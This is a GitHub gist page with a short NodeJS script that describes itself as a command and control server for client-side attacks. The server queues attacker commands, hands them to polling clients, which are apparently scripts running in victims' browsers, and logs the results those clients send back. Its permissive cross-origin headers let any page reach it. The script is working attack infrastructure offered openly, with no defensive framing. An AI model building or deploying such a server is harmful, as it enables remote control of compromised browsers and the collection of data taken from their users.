Created
December 22, 2015 18:41
-
-
Save AdamGreenhill/7d57808ab75f683b07e4 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * Simple client side attacks NodeJS command and control server | |
| * | |
| */ | |
| var http = require('http'); | |
| var url = require('url'); | |
| var Buffer = require('buffer').Buffer; | |
| var commandQueue = []; | |
| var commandId = 0; | |
| http.createServer(function (request, response) { | |
| response.statusCode = 200; | |
| response.setHeader("Access-Control-Allow-Origin","*"); | |
| response.setHeader("Access-Control-Allow-Methods", "POST, GET, OPTIONS"); | |
| response.setHeader("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept, Cookie"); | |
| if(request.method === 'OPTIONS'){ | |
| response.end(''); | |
| return; | |
| } | |
| var chunks = []; | |
| request.addListener('data', function (chunk) { chunks.push(chunk); }); | |
| request.addListener('end', function () { | |
| request.body = Buffer.concat(chunks); | |
| var parsedUrl = url.parse(request.url,true); | |
| if("getCommand" in parsedUrl.query && commandQueue.length !== 0) { | |
| var cmdObj = commandQueue.shift(); | |
| cmdObj.id = commandId++; | |
| response.end(JSON.stringify(cmdObj)); | |
| console.log("Sending command " + cmdObj.id); | |
| }else if("getCommand" in parsedUrl.query) { | |
| response.end(JSON.stringify(undefined)); | |
| }else if("commandResult" in parsedUrl.query) { | |
| console.log(parsedUrl.query.cmdid + ": " + request.body); | |
| response.end(''); | |
| }else if ("registerCommand") { | |
| commandQueue.push(JSON.parse(request.body)); | |
| response.end(''); | |
| }else { | |
| response.end(''); | |
| } | |
| }); | |
| }).listen(8090, function(){ | |
| }); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment